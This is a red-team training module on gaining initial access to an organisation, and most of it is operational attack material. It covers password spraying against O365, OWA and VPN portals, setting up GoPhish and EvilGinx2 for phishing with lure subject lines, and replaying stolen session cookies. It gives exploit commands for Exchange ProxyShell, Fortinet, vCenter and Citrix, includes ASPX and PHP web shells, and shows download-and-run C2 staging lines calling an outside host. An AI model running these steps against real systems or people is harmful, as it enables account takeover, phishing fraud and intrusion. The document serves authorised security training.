0.4 — Initial Access

0.4 — Initial Access

BLUF: Every technique in pillars 1–7 assumes you already have a shell. This file covers how you get it. Initial access is the hardest phase to teach in a lab because it requires realistic targets — real portals, real email filters, real MFA. Study the methodology here, practice on authorized targets, and recognize the pattern when you hit it in the field.

Note

Reading order: This file sits before Pillar 1. Complete recon (external, OSINT, technology fingerprinting) before choosing an initial access vector. Initial access feeds directly into 1. Linux or 2. Windows AD depending on what you land on.


Initial Access Decision Tree

[External recon complete]
        |
        +---> Login portals found? ----> [Password spray] (Section 3)
        |
        +---> Email addresses found? --> [Phishing] (Section 4-5)
        |
        +---> Public-facing apps? -----> [Exploit chain] (Section 6)
        |
        +---> Web application? ---------> [Web vuln → shell] (Section 7)
        |
        +---> Physical access in scope? -> [USB / Badge clone] (out of scope for this file)

MITRE ATT&CK Mapping

Map the behavior that was actually exercised. A tool, delivery platform, protocol, vulnerability, or successful outcome is not itself the technique.

Behavior ATT&CK mapping Mapping condition
Password spray T1110.003 — Password Spraying Controlled attempts across synthetic accounts
Use of a valid obtained account T1078 — Valid Accounts Map separately only when the account is actually used
Spearphishing attachment T1566.001 — Spearphishing Attachment The attachment is the delivery behavior
Spearphishing link T1566.002 — Spearphishing Link The link is the delivery behavior
Exploit an owned public-facing application T1190 — Exploit Public-Facing Application Exploitation occurs against the intentionally vulnerable lab application
Place a web shell T1505.003 — Web Shell Post-exploitation server persistence; separate from the initial exploit
Capture a legitimate session cookie T1539 — Steal Web Session Cookie The cookie is stolen or intercepted
Replay a captured session cookie T1550.004 — Web Session Cookie The captured cookie is used to authenticate
Forge a new web cookie T1606.001 — Web Cookies A new cookie is cryptographically generated rather than intercepted
HTTPS carries command-and-control traffic T1071.001 — Web Protocols Map only when the web protocol actually carries C2 traffic

Caution

Conversion status: The operational sections below are legacy reference material, not approved lab exercises. Before using any part, rewrite it as a card in TTP Validation Catalog with synthetic identities or canary data, exact scope, expected telemetry, a proof limit, a stop condition, and verified cleanup. Do not collect real credentials or session cookies, target real people, establish persistence, or continue beyond the approved proof.


Section 1 — External Recon for Initial Access

Before choosing a vector, build a target profile. You need: login portals, email format, technology stack, and employee list.

# --- Technology fingerprinting ---
# What's running on the perimeter?
nmap -sV -sC -p 80,443,8080,8443,8888,10443 target.com
whatweb https://target.com                        # CMS, framework, server headers
curl -si https://target.com | grep -i "server\|x-powered-by\|via\|x-aspnet"

# --- Login portal discovery ---
# OWA (Outlook Web App)
curl -si https://mail.target.com/owa/
curl -si https://autodiscover.target.com/autodiscover/autodiscover.xml

# Azure AD / O365
curl -si "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
# Returns tenant ID if domain is O365-federated

# VPN portals
for sub in vpn sslvpn remote access gateway pulse anyconnect; do
  host $sub.target.com 2>/dev/null | grep 'has address' && echo "Found: $sub.target.com"
done

# Citrix, RDP gateway, Webex
nmap -p 443 --script http-title $(dig +short citrix.target.com)

# --- Email format discovery ---
# Hunter.io, LinkedIn, OSINT sources
# Common patterns: firstname.lastname, f.lastname, firstnamelastname

# Verify email format with SMTP VRFY (rarely works) or O365 user enum
python3 o365spray.py --validate --domain target.com          # confirm O365 tenant
python3 o365spray.py --enum -U userlist.txt --domain target.com  # validate usernames

# --- Employee list (LinkedIn OSINT) ---
# linkedin2username: generates username variations from LinkedIn profiles
python3 linkedin2username.py -c 'Target Company' -n 100      # scrape LinkedIn
# Outputs: first.last, flast, firstlast variations

Section 2 — Identify MFA Posture

Before spraying or phishing, confirm what MFA (if any) is deployed. This determines whether you need EvilGinx2 or whether a simple spray is sufficient.

# O365: Check if MFA is enforced for external auth
# Try logging in manually to https://login.microsoftonline.com — watch the prompt flow
# No MFA prompt after password = Legacy Auth allowed (spray works cleanly)
# MFA prompt = you need EvilGinx2 or app password spray

# Check if legacy authentication protocols are enabled (IMAP, SMTP, POP3)
# These bypass MFA entirely on older O365 configs
# Tool: MFASweep
Invoke-MFASweep -Username user@target.com -Password Password123

# Check Conditional Access: does the org enforce MFA for all apps?
# If not — some apps (SharePoint mobile, IMAP) may bypass it
# Enumerated by attempting auth against legacy endpoints

MFA bypass decision:

MFA State Vector
No MFA Password spray directly
MFA but legacy auth enabled Spray via IMAP/SMTP endpoints
MFA enforced, no legacy auth EvilGinx2 adversary-in-the-middle phishing
Phishing-resistant MFA (FIDO2, passkey) Social engineering, physical access, or supply chain

Section 3 — External Password Spraying

Password spraying tests one or a few passwords across many accounts. The key constraint is lockout threshold — never exceed it.

# Step 1: Enumerate lockout policy before spraying
# O365: query the tenant's lockout settings (usually 10 attempts before lockout)
# Default: 10 attempts, 60 second window → spray 1 password per account per ~30 min

# Step 2: Build a target username list
# Use LinkedIn OSINT, o365spray enum, or company directory
cat > users.txt << 'EOF'
john.smith@target.com
jane.doe@target.com
...
EOF

# Step 3: Choose passwords
# Season + year, Company + year, Welcome1, Password1!, Summer2025
# Check previous breach data for the domain: dehashed, haveibeenpwned

OWA / Exchange Spray

# SprayingToolkit (OWA, EWS, Autodiscover)
python3 sprayingtoolkit.py owa --target https://mail.target.com/owa \
  -u users.txt -p 'Winter2025!' --delay 30

# Ruler (Exchange — also checks for legacy auth)
ruler -domain target.com -username user -password 'Password1' brute \
  --users users.txt --passwords passwords.txt --delay 30 --verbose

O365 / Azure AD Spray

# o365spray (supports multiple O365 auth endpoints)
python3 o365spray.py --spray -U users.txt -P 'Spring2025!' \
  --domain target.com --rate 30

# TREVORspray (distributed, supports rotating proxies)
trevorspray -u users.txt -p 'Password1!' -t target.com \
  --delay 45 --jitter 10

# MSOLSpray (legacy MSOL endpoint — bypasses some Conditional Access)
Invoke-MSOLSpray -UserList users.txt -Password 'Welcome1!' -OutFile hits.txt

# MailSniper — spray OWA and enumerate GAL
Invoke-PasswordSprayOWA -ExchHostname mail.target.com -UserList users.txt -Password 'Fall2025!'

VPN / Citrix / Pulse Spray

# Citrix StoreFront
python3 spray.py -t https://citrix.target.com/citrix/StoreWeb -u users.txt -p 'Password1!'

# Pulse Secure VPN
curl -s -X POST https://vpn.target.com/dana-na/auth/url_default/login.cgi \
  -d "username=testuser&password=Password1&tz_offset=0"

# GlobalProtect (PAN-OS)
python3 gpspray.py --host vpn.target.com -U users.txt -P 'Winter2025!'

# ADFS
# ADFS uses WSTrust — spray via Invoke-ADFSSecurityAssessment or MailSniper
Invoke-ADFSSecurityAssessment -ADFSFqdn adfs.target.com -Users users.txt -Passwords passwords.txt

Spray OPSEC rules:


Section 4 — Phishing Infrastructure Setup

Domain Setup

# Buy a typosquat or lookalike domain:
# target-helpdesk.com, targetcorp-it.com, secure-target.com
# Age the domain: register 2+ weeks before the engagement (DNS reputation)
# Categorize it: load the domain with legitimate content for a week before use

# Let's Encrypt cert (required — no browser warnings)
certbot --standalone -d phish.targetlookalike.com -m ops@yourdomain.com --agree-tos

# Check domain reputation before use
curl "https://www.virustotal.com/vtapi/v2/url/report?apikey=KEY&resource=https://phish.domain.com"
# Target: 0 detections, positive categorization (news, tech, business)

GoPhish Setup (Credential Harvest + Click Tracking)

# Install GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-amd64.zip
unzip gophish-*.zip && chmod +x gophish

# Edit config.json
{
  "admin_server": { "listen_url": "127.0.0.1:3333", "use_tls": true },
  "phish_server": { "listen_url": "0.0.0.0:443", "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.domain.com/fullchain.pem",
    "key_path":  "/etc/letsencrypt/live/phish.domain.com/privkey.pem"
  }
}

sudo ./gophish
# Admin UI: https://127.0.0.1:3333 (tunnel via SSH if on remote VPS)
# Default credentials: admin / [printed in console on first launch — change immediately]

# GoPhish workflow:
# 1. Sending Profile — configure SMTP relay (SendGrid, Mailgun, or self-hosted Postfix)
# 2. Landing Page — clone the target login page (GoPhish has a built-in page importer)
# 3. Email Template — craft the pretex  email
# 4. Users & Groups — import target email list
# 5. Campaign — tie everything together, set send rate, launch

Email Template Best Practices

Subject lines that work:
  "Action Required: Verify your account before [DATE]"
  "IT Security: Multi-Factor Authentication enrollment required"
  "Your VPN certificate expires in 48 hours — renew now"
  "DocuSign: [Name] has sent you a document for signature"
  "Your password will expire in 3 days"

Pretext elements:
  - Use the correct logo, color scheme, and font of the cloned portal
  - Reference the real company name and IT department name (LinkedIn OSINT)
  - Include a plausible deadline
  - Use a sender address that matches expected IT comms (it-helpdesk@targetlookalike.com)
  - Include a footer with company address, unsubscribe link (legitimacy signal)

Section 5 — EvilGinx2 (MFA Bypass via Adversary-in-the-Middle)

EvilGinx2 proxies the victim's login through a real authentication server, capturing the session cookie after MFA completion. The attacker gets a valid, post-MFA session token — not just a password.

# Install EvilGinx2
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make

# Configure
./evilginx2 -p ./phishlets -c /etc/letsencrypt/

# Inside evilginx2 console:
: config domain phish.targetlookalike.com
: config ip YOUR_VPS_IP

# Select and enable a phishlet (built-in: o365, okta, github, linkedin, twitter)
: phishlets hostname o365 phish.targetlookalike.com
: phishlets enable o365

# Create a lure (the URL you send to the victim)
: lures create o365
: lures get-url 0
# Returns: https://phish.targetlookalike.com/UNIQUEPATH — this is your phish link

# Monitor captures
: sessions
: sessions 1     # view captured session details + cookies
# Extract captured cookies and replay them
# Cookie is in JSON format — import to browser via EditThisCookie extension
# Or use requests in Python:

import requests
session = requests.Session()
session.cookies.set('ESTSAUTHPERSISTENT', 'CAPTURED_COOKIE_VALUE', domain='.login.microsoftonline.com')
r = session.get('https://outlook.office.com/mail/')
print(r.status_code)   # 200 = valid session, you're in as the victim

# Or use AADInternals to enumerate the tenant with the captured token
Import-Module AADInternals
$token = Get-AADIntAccessTokenForEXO -Cookie 'ESTSAUTHPERSISTENT=CAPTURED_VALUE'
Get-AADIntTenantDetails -AccessToken $token

EvilGinx2 OPSEC:


Section 6 — Public Exploit Initial Access

When password spraying and phishing fail, search the perimeter for exploitable public vulnerabilities.

Reconnaissance for CVEs

# Fingerprint exact version numbers
nmap -sV --version-intensity 9 target.com
whatweb https://target.com
curl -si https://target.com | grep -i "server\|x-powered-by\|x-owa-version\|x-aspnet"

# Check known vulnerability databases for the fingerprinted version
# ExchangeVersion header → check against ProxyShell/ProxyLogon affected versions
# Citrix ADC version → check against CVE-2019-19781 (Shitrix) or CVE-2023-3519

# Shodan for passive fingerprinting (no active probing)
shodan host TARGET_IP

Exchange — ProxyShell (CVE-2021-34473 / 34523 / 31207)

# Check if Exchange is vulnerable (check version, not just patch)
curl -si https://mail.target.com/autodiscover/autodiscover.json?@target.com/owa/&Email=autodiscover/autodiscover.json%3F@target.com

# ProxyShell PoC (drops web shell via SYSTEM-level SSRF)
python3 proxyshell.py -u https://mail.target.com -e admin@target.com

# If successful: web shell at /aspnet_client/[random].aspx
# Upload a legitimate-looking ASPX reverse shell or stage your C2 payload
curl -s https://mail.target.com/aspnet_client/shell.aspx?cmd=whoami

Citrix ADC (CVE-2023-3519 — unauthenticated RCE)

# Fingerprint Citrix version
curl -si https://citrix.target.com/vpn/index.html | grep -i "citrix\|ns_build"

# CVE-2023-3519 RCE (affects NetScaler ADC 13.0 before 13.0-91.13)
# Public PoC: https://github.com/telekom-security/cve-2023-3519-citrix-scanner
python3 citrix_scan.py --url https://citrix.target.com
# If vulnerable: execute OS commands as nsroot

Fortinet (CVE-2022-40684 — auth bypass, CVE-2023-27997 — pre-auth heap overflow)

# CVE-2022-40684: Authentication bypass on FortiOS, FortiProxy, FortiSwitchManager
curl -k -X PUT https://target.com/api/v2/cmdb/system/admin/admin \
  -H "User-Agent: Report Runner" \
  -H "Content-Type: application/json" \
  -H "Forwarded: for=\"[127.0.0.1]:8888\"" \
  -d '{"ssh-public-key1": "ssh-rsa AAAAB3... operator@redteam"}'
# If vulnerable: your SSH key added to admin account

VMware vCenter (CVE-2021-21985 / CVE-2021-22005)

# CVE-2021-22005: unauthenticated file upload → RCE (vCenter 6.7 / 7.0)
curl -s -X POST https://vcenter.target.com/analytics/telemetry/ph/api/hyper/send?_c&_i=test \
  --data-binary @payload.json -H "Content-Type: application/json"

# Public scanner
python3 CVE-2021-22005.py https://vcenter.target.com

Automated Perimeter Scanning

# nuclei — fast vulnerability scanner with CVE templates
nuclei -u https://target.com -t cves/ -severity critical,high -o nuclei_output.txt

# Check specific product categories
nuclei -u https://target.com -tags exchange,citrix,fortinet,vmware,confluence

# Metasploit for specific CVEs
msfconsole -q
msf > search exchange proxyshell
msf > use exploit/windows/http/exchange_proxyshell_rce
msf > set RHOSTS mail.target.com
msf > set LHOST ATTACKER_IP
msf > run

Section 7 — Web Application Initial Access

When the perimeter app has no known CVE but is custom-built, find a web vulnerability that achieves code execution.

# Fast recon
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,aspx,html,txt -o gobuster.txt
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt

# Identify upload endpoints — most reliable path to shell
# - File upload forms
# - Profile picture upload
# - Document/attachment upload
# - API endpoints accepting multipart/form-data

# Test upload bypass: if .php blocked, try .phtml, .php5, .shtml, .phar
# If extension checked but not MIME: send .php file with Content-Type: image/jpeg
# If content checked: embed PHP in valid JPEG EXIF data
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg

# SSRF → internal RCE path
# Find parameters that fetch URLs (url=, src=, path=, redirect=, next=)
# Internal targets: http://169.254.169.254/latest/meta-data/ (AWS IMDS)
# Internal services: http://127.0.0.1:8080/manager (Tomcat), Redis, MongoDB

# SQLi → OS command execution (MSSQL xp_cmdshell, MySQL outfile)
# SQLi → read web.config or .env for credentials
sqlmap -u "https://target.com/api?id=1" --dbs --batch
sqlmap -u "https://target.com/api?id=1" --os-shell --batch   # MSSQL only

Section 8 — Foothold Stabilization: Web Shell → C2

Once you have code execution via web shell or RCE, your first priority is getting a stable, persistent beacon before anything else.

# Step 1: Confirm execution and host context
# Minimal web shell (ASPX — Windows IIS):
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start(
  new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){
    UseShellExecute=false, RedirectStandardOutput=true
  }).StandardOutput.ReadToEnd()); %>

# Minimal web shell (PHP — Linux/Windows Apache/nginx):
<?php system($_GET['c']); ?>

# Step 2: Determine network egress
# What can this host reach outbound?
curl -si http://ifconfig.me    # can it reach internet directly?
curl -si https://ifconfig.me   # HTTPS allowed?
# If neither works: DNS only? Or internal proxy?
# Check: env | grep -i proxy; cat /etc/environment
# Step 3: Stage your C2 beacon (Windows — PowerShell download cradle)
# Transfer Sliver/CS shellcode without touching disk:
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent","Mozilla/5.0")
$bytes = $wc.DownloadData("https://redirect.yourdomain.com/update.png")
[System.Reflection.Assembly]::Load($bytes)   # in-memory load (for .NET beacons)

# Or use certutil for binary staging (fallback):
certutil -urlcache -f https://redirect.yourdomain.com/update.bin C:\Windows\Temp\svc.exe
C:\Windows\Temp\svc.exe
# Step 4: Stage your C2 beacon (Linux)
# Download and execute in-memory (no disk write):
curl -s https://redirect.yourdomain.com/update | bash

# Or stage via /dev/shm (memory-backed filesystem):
curl -s https://redirect.yourdomain.com/beacon -o /dev/shm/.cache && chmod +x /dev/shm/.cache && /dev/shm/.cache &

# Step 5: Verify beacon callback in C2 console before touching anything else
# Once beacon is live:
# - Confirm username, hostname, PID, architecture
# - Set appropriate sleep + jitter for the environment
# - Deploy backup beacon with long sleep before starting main ops

Stabilization OPSEC

1. NEVER use the web shell for ops — get a real beacon first, then kill the shell
2. Remove the web shell after beacon is live (document its path first for the report)
3. Set sleep ≥ 60s with ≥ 25% jitter before running any post-exploitation
4. Deploy a backup beacon (different host, different C2 profile, 24h sleep) before proceeding
5. Confirm what EDR/AV is running before executing anything (see Windows AI1 Phase 1)
6. Check proxy/firewall egress: what ports can the host reach? (80/443/53 — which works?)

Pre-Engagement Initial Access Checklist

[ ] External recon complete — login portals, email format, tech stack identified
[ ] MFA posture confirmed — determines spray vs EvilGinx2
[ ] Spray lockout threshold known — check before executing
[ ] Domain for phishing aged 14+ days, TLS cert issued, categorized
[ ] GoPhish configured with custom sending profile and landing page
[ ] EvilGinx2 phishlet tested against the target portal in lab first
[ ] CVE list compiled for fingerprinted versions
[ ] Nuclei scan complete on perimeter
[ ] Backup C2 deployed before starting main ops
[ ] Web shell removed after beacon confirmed live

Resources

Resource Purpose
GoPhish Phishing campaign management
EvilGinx2 Adversary-in-the-middle MFA bypass
o365spray O365 user enumeration + spray
TREVORspray Distributed O365 spray via rotating proxies
MSOLSpray Legacy MSOL endpoint spray
SprayingToolkit OWA / Lync / ADFS spray
linkedin2username LinkedIn OSINT → username list
nuclei Fast perimeter CVE scanning
Seclists Wordlists for spray, enum, fuzzing
MailSniper Exchange/O365 recon + spray

Part of the Red Teaming 101 series.